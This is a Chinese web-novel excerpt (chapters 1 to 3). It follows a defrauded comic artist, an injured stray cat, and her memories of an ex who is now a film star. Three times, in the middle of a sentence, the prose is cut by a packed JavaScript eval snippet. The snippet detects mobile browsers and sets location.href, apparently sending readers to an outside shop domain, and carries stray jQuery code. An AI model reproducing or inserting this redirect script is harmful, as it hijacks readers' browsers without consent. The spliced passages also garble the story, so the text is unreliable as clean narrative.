《再见还是红着脸》 1. 第 1 章 午后的阳光透过大厦落地窗洒在办公区,把一排排工位照得像烤箱里的面包。 合雨悠给自己挖坟似的拖动着鼠标。工位上堆满资料,她的黑框眼镜下略显疲惫的双眼正盯着第八次修改的海报。 工位旁的仙人掌还算坚强,绿得像刚签了五年劳动合同的新员工。那是她入职第一天带来的小装饰,原本用来“增添生气”,如今变成了唯一能吸收她怨气的存在。 合雨悠抻了个懒腰,随手将及肩的黑发挽成丸子头。素净白皙的脸上满是“我努力工作但上天不爱我”的温柔倦容,长睫毛深深地耷拉下来。 “做一张海报五元提成,大哥,生产队的驴也不是这么用的啊?设计师的命不是命啊?”她嚣张地瞪向组长,声音精准传到隔壁。 “设计师的命当然是命!”同事凑过来,压低声音,“我一哥们在剧组美术组,一张海报五万!” 合雨悠“啪”地停住鼠标,眼睛像被雷劈了一下。 五万??!! 杏仁眼地震。 同事摇头:“你也羡慕吧?不过听说这种活,都是包给导演亲戚的。” 同事摊手:“人分两种,有背影的和有背景的,咱们四肢健全,背影还是不错的。” 合雨悠简直太动心了!这可比她画漫画容易多了!她毕业后就没上过班,已经严重脱离社会,这是她的第一份实习。 下午四点,茶水间的咖啡机发出轻微的嗡鸣,她站在窗边发了会呆,没注意身后的脚步声。 “西流老师?真的是你?” 这个称呼让合雨悠愣了下。她转过身,映入眼帘的是一张精致的职业妆容,朱红色的唇膏衬得对方气场十足。她辨认了几秒:“诶,林总监?你怎么在这儿?” 合雨悠一时无措。她记得对方,几年前谈改编版权时见过一次。那会儿林总监可是大厂采购部的一姐。 “好巧啊,真没想到能在这遇见你啊,”林舒雅端着咖啡,略带惊讶地打量着眼前的女孩。一如既往的清秀素颜,初见时那股子灵气依然生机勃勃。 因为在这行做采购做久了,林舒雅见的漫画家和作家也多。搞创作的人大多其貌不扬,有些宅,然而‘西流’却是个例外,分明有这么好的样貌,精致的五官,松弛的气质,却不走人气美少女漫画家的快捷路子。 “您来远辰谈合作么?”合雨悠也非常意外。 “不是,跳槽了。半年前来的,现在管视频内容这块。”林舒雅笑着抿了口咖啡,“倒是你,怎么想到来这里实习?我记得你那会可是月入好几十万的大神漫画家。” 合雨悠抓头:“就是……想出来看看。”说着,她朝林总监笑了笑,“一直宅在家里画画,感觉再不见人就要社交退化成树懒了哈哈……” 林舒雅跟着笑了笑:“出来看看也好,体验一下我们打工人的修罗场。” 合雨悠推了推眼镜,冷静地说:“体验过了,很震撼,连社畜都快变成社遗了。” 林舒雅大笑道:“老师最近在忙什么?没有连载?” 她记得“小河向西流”的作品,在巅峰时期可是无人能敌。 他们公司当时要买改编版权,结果被漫画平台的狮子大开口给吓退了,联系到画家本人,才知道是个刚毕业的女孩子,才华横溢,运气不好,被垃圾平台给捆绑了。貌似后面平台自己开发改编,然后烂尾了。 “没有在连载,其实……”合雨悠顿了顿,“我投了点钱做动画开发,想把自己的作品搬上银幕。” “动画?”林舒雅来了兴趣,“找哪家做?现在市面上靠谱的工作室不多。” “对,一个叫朝日动画的小工作室,不大,但挺专业的。”说这话时她的语气明显变高,像终于能在简历上写点体面的事。 “朝日啊。”林舒雅微顿,“听过,希望你这次能成吧。那有空约饭,我先去开会。” 林总监走后,空气里只剩下咖啡味。 合雨悠走出茶水间。见到熟人的紧张感还在,其实她不社恐,只是每次遇到认识“小河向西流”的人,就会紧张。 去年那场网暴来得太突然。 她因为画稿太多,雇了个助手帮忙勾线。结果那位干了一个月跑路,还在网上发长文控诉“压榨劳工”,顺便编出一堆离谱剧情:什么生活混乱、满嘴脏话、描图抄袭、AI盗稿…… 虽然最后真相大白,可谣言已经发酵。手机震动都能把她吓出PTSD。那时快递小哥给她打电话,她都觉得像记者暗访。 从那以后,合雨悠就尽量让“小河向西流”死在互联网上,回归现实生活。 “小合,”组长的声音突然从背后传来,“海报改得怎么样?” “在!”她一个激灵坐直身体,点开软件,“就好!” PS页面亮起的一瞬,她心想:要是孟母三迁是为了教育儿子,她换八版海报纯属赎罪。 ……人为什么要上班!人又不是驴,人又不是驴…… 人是牛马。 晚上下班,合雨悠走一出地铁站,巨幅海报映入眼帘。 《星河彼岸》下周上映。 这是一部商业科幻大片,投资数亿。海报上的男人目光深邃,仿佛能看透银河。地铁里三三两两的女孩叽叽喳喳: “凌湛真的太帅了!” “听说这次特效超厉害!技术比肩工业光魔!我看了预告片!我去简直了好牛逼!!” 合雨悠一时分神。 当年她就想过,凌湛的帅可以当饭吃吗? 现在看来好像真的可以。 简直太可以了。 合雨悠慢吞吞打开手机,社媒开屏广告又是凌湛的电影海报。 她垂眸定定地注视了两秒,不知想到了什么,选择跳过。最后习惯性点开工作邮箱,最新一封是朝日动画发来的制作进度——已经完成了65%。 她松口气。虽然这一年画不出什么新作品,但至少她还有这部动画。 三百万,是合雨悠全部的积蓄,偶尔会有点后悔,为什么不把钱存起来养老,可给钱的时候,合雨悠没想过自己会有失去灵感画不出东西的一天。 工作室每周给的的样片都很完美,人设、分镜、配乐,都在按计划推进。姚总说得对,工作室更用心。 站在便利店前,合雨悠纠结要不要买个饭团,她已经很长一段时间没有高收入了,要开源节流。 手机突然震动,是工作室的动画师小张:【西流老师,您方便接电话吗?】 小张? 合雨悠和这个动画师偶尔会聊喜欢的番,关系不错。她接起电话,那头沉默几秒,声音有些颤:“西流老师,对不起,我觉得您需要知道真相……” 听着小张断断续续的诉说,合雨悠嘴唇都在抖,下意识按了录音。 朝日动画工作室一个月没发工资,办公室锁着,姚总和她老公一起失联,样片都是临摹AI的,东西无法细看,实际进度不到30%…… 饭团啪嗒掉在地上,她却像没注意到一样。耳边是咚咚的心跳声,眼前发黑,但合雨悠还是强迫自己保持清醒。 “谢谢你告诉我这些。”她的声音还算平静,可心脏已经快破出喉咙了。她快速在手机备忘录上记着要点:“我先报警,然后联系律师,对了小张你那边还有什么证据吗?” 挂掉电话后,她在便利店门口的长椅上坐了几分钟,一口心尖血要吐出来了。 合雨悠手抖地打开银行APP。 【存款余额:48,756.33】 “怎么还没有别人一张海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624771|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 报多……”她苦涩地低头拨打了110。 “您好,我要报案……”合雨悠坐在便利店门口的长椅上,还是清晰说完整个过程,末了还不忘补充:“我明天会带着所有合同和资料过去。” 挂掉电话,她觉得饿了。 刚才掉在地上的饭团还躺在那里,合雨悠弯腰捡起,想了想还是丢掉,只买了罐头喂了附近的流浪猫。 到家,玄关的灯泡坏了。她拍了拍墙,黑暗中摸索着换鞋。 这套两室一厅是前年贷款买的,六百万总价,家里支持了几十万,她自己掏了四百万积蓄作为首付,剩下贷款一百七,每个月都得还两万。 那时她以为自己是买了未来,没想到买了焦虑。 合雨悠环顾四周,眼泪一时没绷住。 房间里到处都是漫画家“小河向西流”的痕迹,墙上贴满了概念手稿,书架上整齐地摆着漫画收藏,电脑桌旁柜子展示她最喜欢的手办。 她打开台灯,月光透过窗棂落在数位板上。 角落里整整齐齐码着一摞漫画原稿,那是她大学时期画的恐怖漫画,也是最得意的作品。 伸手摸了摸那些画纸,纸张有些发黄,但故事里的悸动似乎还在。 天光微亮时,合雨悠揉了揉酸痛的手腕。 屏幕上是她画了一夜的草稿,画面第一格,女主角正低头洗脸,水池里的水混着一点点血丝。镜子里女主的脸模糊不清,眼睛却好像多了一只,长在颧骨和耳朵之间的位置,正缓慢眨动。 一晚上画了十几页。合雨悠翻了一遍,颧骨跟着酸痛。 好难看。 画面上其实无可挑剔。她画工健在,可故事总不满意,画吐了都没感觉。 合雨悠真的趴在马桶上吐了一会儿。 早上十点,她顶着两个巨大的黑眼圈走进办公室,手里端着今天的第三杯咖啡。 她最近这状态没猝死真是祖宗在底下跑断了腿。 “哎,你们看娱乐新闻没?”同事的声音从隔壁工位传来,“《星河彼岸》的海报做得真好看,会不会就是传说中五万一张啊?!” “还惦记这个呢?别想了。”有人笑道。 “当然惦记啊!瞅瞅咱们,五块钱一张,小作坊美工,正宗牛马。可惜咱没这人脉……各位要是有人脉,一定记得拉上小弟我啊,我给大伙当枪手,我一千块一张就成!” “见笑了大伙,我一百就行。” 合雨悠的目光不自觉地飘向隔壁电脑屏幕,那是一段《星河彼岸》的路演采访,凌湛坐在访谈区的沙发上,一条长腿随意地搭在另一条上,黑衬衫的袖子卷到手肘,露出一截清白有力的小臂。他微微后仰,一只手松散地搭在沙发背上,锋芒被礼貌收着。 “其实我是导演系毕业的,”他嗓音低沉,带着磁性,“一开始是只想自己拍电影,但没名气的学生导演要找投资真的很难。大学期间学长拉我去演个配角,说给的片酬能攒点启动资金。”他说到这,嘴角绽开一点浅淡的笑意,无奈道,“结果角色一改再改,最后变成男主了。” 摄像机给了他一个特写。 侧脸被灯光勾出冷冽的轮廓,鼻梁高直,唇线漂亮,以及随着镜头移动,摄影师好像知道观众爱看什么……黑衬衫下隐约可见的肌理分明的腰线。 “现在变成全职演员了吗?导演梦还在吗?”主持人问。 凌湛略微思考了一下,修长的手指搭在黑色沙发扶手上,愈发衬得皮肤冷白。 “演戏也挺有意思的,但导演梦肯定不会放弃。”他微微抬首,还没脱去少年气的浓黑眉眼飞扬,“我已经在准备自己的下一部导演作品了。” 视频到这里暂停了。同事悄悄转过头:“小合,帅哥看够了没?组长让你改的海报还没改呢。” 2. 第 2 章 中午十一点半,合雨悠站在派出所门口,手里握着那叠薄薄的合同。 朝日动画的办公室她一早就去看过了,大门紧锁,玻璃贴着一张“设备维护”的字条,在风里飘得像讣告。谁能想到这家做了六年动画的工作室说没就没。前年她去参观时,一百多平的办公室,十几个动画师,姚昕站在投影前跟她讲解样片时的样子还历历在目。 她不敢相信姚昕会这样对她! 五年前她刚在漫画平台连载时,姚昕是第一个主动来找她约饭的编辑。那时合雨悠画技虽然不差,故事也充满灵气,可由于题材关系,稿子经常被平台退回,是姚昕手把手教她修改分镜,陪她熬通宵赶稿。算是她的贵人。 后来姚昕辞职去了她老公的动画工作室,还常常带她参加业内聚会,介绍资源给她。从网友到闺蜜,她们一起吃过多少顿烤串、喝过多少次奶茶......谁能想到这一切换来的是如今的背叛。 夫妻俩的工作室,这几年接了不少日本动画公司的外包,虽然行业不景气,但在业内算小有名气。合雨悠实在想不通,这对夫妻好好的为什么要跑...... 走出派出所时,是正午时分。 天光一刺,泪都反光。公交车窗上自己的倒影憔悴得像宋徽宗的瘦金体。 合雨悠查着律师事务所的信息,突然手机震动起来,是妈妈,她犹豫了一下还是接了。 “悠悠啊,在哪儿呢?”妈妈的声音里带关切,背景里传来大棚里塑料膜被风吹动的声音。 “在加班。”她轻声说,“妈妈,我现在有点忙。” “那你能不能讲电话?累不累啊?”妈妈没有立即挂断,而是继续说着,“今天采的小番茄特别甜,我让你爸给你寄过去?” “不用了,”她望着窗外,一阵暮色晃进来,“你那边寄过来冷链贵,我去超市买就好了。” “那倒是,就是超市贵,也没家里种的好吃,”妈妈笑道,“对了,你那个漫画的事……” “挺好的,”合雨悠打断她,“平台的合约还在,收入稳定。我现在还找了份实习,虽然工资不高,但能学到东西。” “在上班就好,整天画画也累,你啊,也该接触点社会了。”妈妈的语气里带着欣慰,“前两天你贺叔还问起你,说好久没见你回来了……” “贺叔回来了么?我最近真的有点忙。”合雨悠低低地应着,“妈,快到公司了,我先挂了,你多注意身体,还有我上次买的那个体检,有空你和我爸去市里做了。” 挂掉电话,合雨悠靠在车窗上出神。妈妈还是那样,永远操心她的一日三餐。这些年家里的日子越过越好,大棚的蔬菜销往全省,父母却一直朴实。 手机又响起来,这次是姜小敏发来的消息:“小河!明天晚上有空吗?请你看电影!” “什么电影?”合雨悠随口问道。 最近她没怎么关注娱乐新闻,整颗心都悬在动画工作室的事上。 “保密!”姜小敏发来一串奸笑的表情,“反正包你满意!看完请你吃火锅,就上次那家!” 姜小敏是合雨悠好朋友,从互相寄明信片到面基成闺蜜,多年关系,这拒绝不了。她想了想,周五晚上确实没什么安排,而且……或许该给自己找点事分散注意力,再焦虑下去她担心自己三十岁变地中海,想泡帅哥都得粘一层假发。 晚上,她在外卖咖喱饭和破产焦虑中查律师事务所。最终选了一家口碑好、离公司近的。 翌日午休,合雨悠抱着合同去律所。 “我看过合同了,”杨律师合上文件夹,“你当时请的那个律师说得没错,条款本身没有问题。但他忽略了一个关键点。” 合雨悠抬起头。阳光透过百叶窗在那张白皙的脸上投下细密的影子。 前年,她和朝日动画谈合作时,请了个网络律师审核合同。对方说这是个很规范的影视投资协议,连工商备案都很完整。 “他们在合同里写明了‘以项目进度为准,分期付款’,但没有详细界定进度评估标准。”杨律师指着第三十二条,“这就给了他们操作空间。样片可以是临摹的,进度可以造假,但你没法证明他们主观上是为了诈骗。” 合雨悠没法出声。 “说实话,就算立案,追回的可能性也很小。”杨律一声叹,“但如果你想试……” “我必须试。我们先立案,今天去了派出所,民警好像也没什么办法,只说尽力帮我找人。”合雨悠将材料摊在办公桌上,语气飞快,“然后立案了就立刻申请资产保全。朝日动画是空壳公司,但姚昕她老公之前的公司还在运营。他做了这么多年动画,总该有些固定资产。” 杨律师看着年轻的当事人:“你还做过功课。” “我查到他们和几家日本动画公司有合作,”合雨悠翻开笔记本,指着密密麻麻的字迹,“版权费和分成都是通过他原来的工作室走账。如果能查到资金往来……” “但这需要时间,”杨律师说,“而且费用……” “我知道。”合雨悠语气变快,“我可以马上支付律师费,但希望能尽快立案!将田辉和姚昕抓回来。” 晚上,合雨悠忙活一天,坐地铁赶到商场。 站在影院门口时,合雨悠忽然瞥见海报上深邃的轮廓,双眸瞬间失神,心跳近乎停滞。 凌湛的脸似乎变了一点点。 成熟了一些。 海报上,一个穿着白色实验服的男人凝视着远方,被极光所染亮的、放大版的侧脸熟悉得像昨天发生的故事。 “这个《星河彼岸》!你刷到过吗?”姜小敏挽着她的手臂,眼里闪着兴奋的光,“我跟你说,是凌湛的新片!诶对了,你们一个高中的吧?我在网上看见他也是你们中学的!是校友啊!” 合雨悠的手指顿了顿。 姜小敏继续在她耳朵旁边轰炸:“你肯定认识他吧?有他联系方式吗?” “不是,我们不是一个高中的,我是象山中学的,”合雨悠开始胡说八道,“而且他好像比我高一年级……” “不是吧!明明一个年级!我查过他资料,00年的,跟你一样大!你读书年纪已经很小了,难道他比你还小?”姜小敏不依不饶。 “假的,他99年的,天蝎座。网上资料不真实。” “你怎么知道不真实?” “因为我……”开房的时候看过他身份证啊。 她欲言又止。 “算了。”合雨悠低头闷声说,“总之不认识。” 说完又瞥了一眼那大海报。 现在真是帅得人尽皆知了。 姜小敏心花怒放地看着手机上新设的锁屏壁纸,根本挪不开眼:“不认识你肯定也知道吧,不然你怎么还知道别人星座?你还说不追星呢?我听说因为帅得惊天动地,你们全市所有学生都知道他的名字,知道你们那儿高中有个叫凌湛的比明星还帅。” “……是这样的。”合雨悠得承认这是真的,不然她哪里会鬼迷心窍喜欢上人家,凌湛一撩她就心甘情愿地上钩。分手后她念大学,再没见过这样样貌气质的男生,也就无从谈下一场恋爱。 姜小敏:“我还听说他爸爸是名导,是不是真的啊?” 合雨悠下意识说:“不是,他爸是建筑师,那个名导是他一叔叔。” “哇!!!小河,原来你真的知道瓜!!还有没有?快讲快讲。”姜小敏嘬着奶茶眼神闪亮,等着她的一线瓜。 “……没有了!”合雨悠马上选择把自己的嘴缝起来。 不能乱说,她告诫自己,否则会给他、给自己,都带来不可估量的麻烦。 “真没联系方式?”她嘟嘴。 “我真没有联系方式,”合雨悠无奈地说,“他不是出国读书了吗?那会儿连企鹅号都没加。” 确实没有。 在合雨悠装作移情别恋根本不喜欢他后,也删了凌湛的所有联系方式。只剩下一个或许早就打不通的、烂熟于心的号码,还留在她最早的那部手机里。 那段被小心翼翼藏起来的记忆,就像一颗易碎的琉璃珠,稍一用力就会摔得粉碎。 幸好当初谈得低调,她想,不然现在大概会被粉丝挖出来,挂在网上谩骂吧。 影院里已经排起了长队。年轻的女孩子三三两两聚在一起,叽叽喳喳地讨论着荧幕上循环播放的预告片。 有人举着应援牌,上面用闪粉写着“凌湛我爱你”,在昏暗的光线下泛着细碎的光。 “天呐,今天人好多!”姜小敏拽着她挤过人群,空气中弥漫着香水混杂的甜腻。 大屏幕上正在播放凌湛的采访片段。今年二十六岁的凌湛,随意地靠在沙发里,一件黑色高领毛衣衬得他气质一丝不苟的禁欲,反而更令人想看他底下遮掩的身体,狭长的眼型微微上挑,眼尾有种天生的凌厉感。 “《星河彼岸》对我来说是一个挑战,”屏幕里的他姿态漫不经心,“每个镜头都是导演精心设计的,我只是在努力传达他想表达的情感。其实每部商业片都是一个宏大的拼图,只有我们团队每个人都尽力,才能拼凑出最终的艺术作品。” 那个笑容让合雨悠恍惚了一下。 大帅哥就是大帅哥,这么多年,还是那么的张扬锋利。 姜小敏被采访拉近的特写惊得倒吸口凉气:“凌湛看起来知道自己长得很帅,不要钱地散发魅力啊。” 合雨悠:“他当然知道。” 私底下还要更…… 更自恋一点。 合雨悠叹气。 “听说他很少参加宣传活动,”姜小敏一边排队买爆米花一边说,“每次采访都说自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624772|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更想当导演,根本不想演戏。好像真导过什么拿奖的片?叫,叫什么……” “叫《月照孤城》。”合雨悠无声应着,姜小敏没听到。 凌湛的梦想一直都是做导演和拍电影,他那审美,拍出来是真正的“艺术片”,在观影环境越发浮躁的现今,鲜少有人看懂,扑街也正常。而且很少有导演在二十六岁就能成名,至少凌湛已经拿过奖项了。 “大杯焦糖味,”姜小敏的声音把她拉回现实,“小河,你要什么口味?” “原味,小杯。” 屏幕上的凌湛还在说话。他侧着头,湿漉漉的黑发还带着造型痕迹,眉眼干净凌厉,遮不住那股从骨子里透出来的桀骜。 “现在是在为导演梦想做准备,”他说这话时眼神垂了一瞬,复而抬起高高的眉骨,“每个演员都该对自己的作品负责,我想拍出真正打动人的电影,但在那之前,得先学会如何讲好一个故事,所以还在认真做演员。” 入场后,电影座无虚席。 “这部戏可神了,”姜小敏挽着她的手臂,压低声音说,“我看了影评,凌湛演一个研究平行宇宙的物理学家,发现每个平行时空里的自己都在寻找同一个人……” 合雨悠:“剧本抄《另一个地球》啊?” 姜小敏拽她:“你可闭嘴,看完再开麦!” 荧幕亮起。 合雨悠看着那个熟悉到骨子里的身影出现在镜头里。男人穿着一尘不染的白大褂,布料底下透出练得宽阔的肩背线条,抬手摘下眼镜,指节修长,摩挲镜框的习惯性动作让她心跳发紧。这瞬间,她几乎认不出这就是当年在角落和她接吻的少年。 少年抵着她的额头,温热的呼吸逼近:“贺叔说我没有温度,拍的东西也没温度,合雨悠,你说我有没有温度?” 她还没来得及回答,他就咬上了她的嘴唇。 凌湛根本不讲道理,像一团燃烧的火,却偏要装出一副冰冷的样子,靠近时才知道他多烫,快要将她焚烧,活脱脱的太阳。 如今他样貌变化得不多,只是从少年变成了男人而已。 合雨悠的注意力回到电影,却还是左顾右盼,想东想西。一边没出息地想前夫哥,一边咒骂姚昕夫妇快落网,还她血汗钱…… “小河小河!真的好帅!”姜小敏在一旁小声尖叫,拍了张照片,“我要晕过去了,导演看起来真的好喜欢他的脸啊,这么多特写,好多粉丝福利,么多么多……” 合雨悠安静看着。 她虽然没认真看,但知道凌湛为什么能把这个角色演活,偏执狂,这特质是演员本人骨子里就带着的。 电影散场,姜小敏哭得像清明扫墓。 “这片儿真虐!你没被虐到?” “呵呵,我被生活虐得更狠。”她拎包,“走,吃火锅。” 姜小敏感性地抓住她的手腕:“小河,是不是我挑的片子不合你胃口?你刚刚都不说话。还是我太花痴了吵到你了?” 合雨悠抬头说:“别多想,就是我不爱看这电影而已。” 电影是好电影,就是男主演是她前任,她压根入不了戏,也不想点评。 哦,除了导演发福利,看他脱了一半露出腰腹间沁血的伤口的时候。 合雨悠就发现她还是有点想。 因为过去凌湛会抓着她的手让她来摸。 火锅店里,姜小敏持续输出:“你记不记得我大学的时候发给你的资源吗?” “什么资源?五十度灰啊?” “什么啊,吸血鬼那个啊!《赤夜》。”姜小敏递过来手机,“那个地下电影节的获奖片。” 合雨悠看见她手里的电影截图,“哦”了一声,她看过的。 约莫是大三那年,半夜姜小敏忽然在群里发了个网盘资源:“卧槽卧槽你们看这个,神颜帅哥我草!!!” 合雨悠还在宿舍下桌熬夜画稿,随手点开一看,万万没想到会在一部小成本惊悚片里看见前男友凌湛。 影片讲述一个年轻的艺术品修复师误入古堡,陷入吸血鬼家族的古老诅咒。浓郁的哥特风格里藏着荒诞的美感,暴力与血腥在银幕上竟然呈现出一种病态的浪漫。 凌湛便饰演那个被诅咒缠身的修复师。某个暗室的场景里,他背对着镜头,赤//裸上身。月光顺着深凹的脊柱线流淌,勾勒出精窄的腰身和利落的肌理。她记得影片那一幕,他转过身来,灯光在锁骨和结实的胸膛上投下朦胧的阴影。他皱着眉,舔去嘴角的血迹。 “当时网上都疯了,”姜小敏激动地说,“都说有限制级镜头,网盘被挤到崩溃。结果最后发现是澳门新葡京的营销。我他妈就是那个受害者,找了三天三夜的资源,全都一个样……” 然后大家就知道了,这个男演员叫凌湛,不是专业演员,是USC导演系的学生。 3. 第 3 章 从火锅店出来,合雨悠和姜小敏分别。夜色沉沉,地铁站里三三两两的人群正在散去,合雨悠站在电梯上,听见前面两个女生在聊天。 “我的天,你看热搜了吗?向悦出车祸了!” “什么?就那个主持人向悦?” “对啊,现在还在抢救,警方说还在调查事故原因……” 合雨悠闻言浑身僵硬,当即掏出手机,热搜第一条:#向悦车祸#。 点开视频,新闻画面里是一摊香槟粉保时捷911,记者正在现场播报。 “据目击者称,事故发生在凌晨一点左右,我台主持人向悦驾驶的车辆在高架转弯处突然失控……” “太可怕了,”旁边一个年轻女生摇着头说,“我刚看新闻说人还在ICU抢救。” “是不是酒驾啊?怎么有人那样开车??” “我看评论说不像,她那天刚从电视台下班……” 地铁到站的提示音响起,合雨悠机械地跟着人流走进车厢。荧幕里,医护人员正把担架推进急救室,向悦苍白的脸在镜头前一闪而过。弹幕里全是祈祷: “悦悦一定要挺住!” “为什么突然失控?不会是有人搞鬼吧?” “警方说在调查制动系统……” “我去这些主持人都这么有钱吗?都没听过她名字,居然开几百万的车?什么背景啊,建议严查!” 所有信息扑面而来,向悦这些年的成就,脸的变化,落落大方主持节目的画面,合雨悠关掉手机,却仍盯着黑掉的屏幕发呆,心底翻涌着强烈的情绪。 地铁在黑暗的隧道里穿行,她的思绪不断被拉回多年前的那个下午——向悦站在阁楼上,手里憎恶地晃着那个U盘威胁她…… “前海公园到了,请下车的乘客……” 合雨悠猛地回过神,发现已经坐过了两站。她急忙起身,拎着帆布包匆匆出去。 回家路上,偶尔有车驶过,车灯在地上投出长长的光影。一路,她都在想向悦和凌湛。 忽然,合雨悠听见了一声微弱的呜咽。 角落里蜷缩着一团橘色。路灯太暗,她下意识掏出手机打开闪光灯。 那是只成年橘猫,后腿不自然地扭曲着,毛发上沾着血迹。听见脚步声,猫咪勉强抬头,眼神里带着些恐惧和脆弱。 “小咪,别怕,”她放轻声音,慢慢蹲下,“让我看看。” 意外的是,橘猫没有挣扎,只是微微发着抖。她小心翼翼地伸出手,试探着碰了碰它的前爪。它像是耗尽了力气,静静地任她抚摸。 “怎么受伤的?是流浪猫么,会有点疼,忍一下。”她脱下外套,犹豫了一下该怎么动作。最后还是轻轻地,用外套裹住橘猫,将它抱了起来。 怀里的温度在一点点流失。她站在路边,掏出手机,快速搜索附近的宠物医院,找到一个还亮着灯的号码。 “你们还开着吗?我这里有只受伤的猫,后腿好像断了……” 打车到最近的二十四小时宠物医院用了二十分钟。值班医生接诊很快:“内脏受损,需要手术,先做个CT。” “……多少钱?”合雨悠下意识攥紧了手机。 “CT两千五,手术保守估计六千,后续护理、药物和住院费用加起来差不多要一万五左右。”医生瞥了她一眼,“小姑娘,看你年纪也不大,还在读书吧,要不你问问家长,或者上网试试众筹……” “我知道网上能众筹,”她有气无力地打断,“但现在最重要的是止痛和检查,对吗?” 医生点头。 “那就先打止痛,用最好的药。”她打开支付宝,“CT钱我现在就付。明天一早我过来,我周六不上班。” 医生抱走橘猫去打针。 合雨悠站在走廊里,望着手机屏幕上那串余额数字发呆。追款案子还没立,就要为流浪猫花掉这么多。 到家后,合雨悠在玄关站了很久,才想起开灯。 住宅寂静,落地窗外是城市零星的灯火。 她放下背包,给自己倒了杯水,换了件舒适的家居服,打开平板电脑窝在书桌前的人体工学椅上,打算随便画点东西,脑中却空无一物。 最近好累。 上班好像没有给她带来太多的灵感。 组长的群消息又从上方跳出:“有人现在在办公室吗?” 好长一阵寂静。 组长:“有个宣发图现在着急要,谁有空改?” 这会儿有人接话了: “宣发我记得派给小合了。@合雨悠。” 组长消息接踵而至:“嗯,主色调还是太暗了,周一早会前务必调整好发我。” 合雨悠嘴角抽搐,我一定是加班天选之女。 小合回认命复:“收到!” 手机屏幕的光映在脸上,医院给她和医生拉了个群,发来猫睡觉的照片,以及:“合小姐,它休息了,现在比较稳定,明天等张医生上班再检查下。” 她盯着那张模糊的影像看了很久,仿佛能透过屏幕感受到小猫微弱的呼吸。 合雨悠的笔尖在平板上戳了戳,一万五的治疗费…… 对有钱时候的她而言,不多。 她光是资助的几个学生,一年都不止花这么多。 只是现在的她…… 并不是什么有钱人。 合雨悠趴下了,眼睛在桌缝里,手贱地搜索向悦的情况。 她的名字还在热搜上挂着,没有最新消息。 合雨悠收起情绪,打开电脑。游戏推广图在深夜的光线下显得格外刺眼。 几天后,宠物医院。 “总共一万四千八。”医生道,“包括手术费和麻醉六千八,拍片和检查费用两千五,后期护理和药物预计......” 合雨悠弯腰盯着橘猫扎针的爪子。麻醉没退,小猫儿安静地躺在笼子里,呼吸平稳。晨光透过诊室的窗户洒进来,给它的毛发染上一层暖融融的金色。 她点开手机银行,看着那串数字整张脸都绿成了苦瓜。三天前刚给律师打了一万的定金,昨天又还了房贷,交了水电费,卡里剩下的不到两万。付完这笔钱,就真的只剩下几百块了。 她怎会惨到这个地步? “您再考虑考虑?”医生温和地说。 “不用了,”她打开支付宝,佯装无事发生的语气,“今天都刷了吧。能用最好的药就用最好的。” “小家伙会住院观察几天,”护士接过单子,“您要不要给它取个名字?” 合雨悠看着笼子里的橘猫,它似乎感应到什么,微微动了动耳朵。 “叫……抱抱吧。”她说。 大不了这个月吃泡面,日子总是要过的,又不会饿死,最坏不过回家种地。家里那么大个棚呢,能养活几头牛,也一定能养活她。 --- 周二上班。 “这种设计水平,屎一样,整组全部重做!”组长高声训斥,全组人鸦雀无声。 合雨悠悄悄地低头扫了眼手机,热搜第一条:#向悦疑似脑死亡#。 她倒抽口气。 视频里,医院门口围满了记者。一个西装革履的中年男人被保镖护送着快步走过,即使打了马赛克,合雨悠还是一眼认出那是凌湛的建筑师父亲。他身边的女人泣不成声,是向悦的妈妈。 合雨悠心跳陡然加快。 那个曾经用一个U盘就逼得她不得不放弃的女人,现在躺在ICU里,生命气息渐渐流失。她的第一反应竟然是——威胁终于解除了,如果死了就更好了…… 这个念头一出现,她自己都愣了一下,被这种如释重负的坏念头吓到。七年来的压抑和煎熬,确实在这一刻烟消云散大半。 如果向悦没有告诉其他人的话…… 那凌湛…… 合雨悠手指抠着手心,眉心要拧成麻花了。 “散会!”组长终于训完了。合雨悠也被迫回神。 “姐妹,”同事余淼淼托着腮帮子滑过来,“要不咱俩晚上去喝点?我快疯了。我那哥们,就去年还在跟我一起接私活儿的那个,你猜怎么着?刚提了路虎!发了朋友圈晒车!!我都羡慕死了!” 合雨悠抬头道:“剧组美术组那个?海报五万一张的?他不带你么?” “他找我干嘛?他只找漂亮的。” “你也挺漂亮的。” “那你一定没见过他们新招的实习生。”余淼淼翻白眼,“一个个长得像AI生成的,五官是算法送的福报。” 合雨悠也叹了口气,丧丧地趴在工位上。 其实也不是完全没有所谓的娱乐圈人脉。 但她压根没有贺叔的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16624773|187907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微信…… 再说贺叔那多大一号人物啊…… 都好几年没见了,她不好意思问长辈帮忙,还不如问凌湛…… 这个念头一出现,她立刻甩了甩头,告诫自己冷静点。 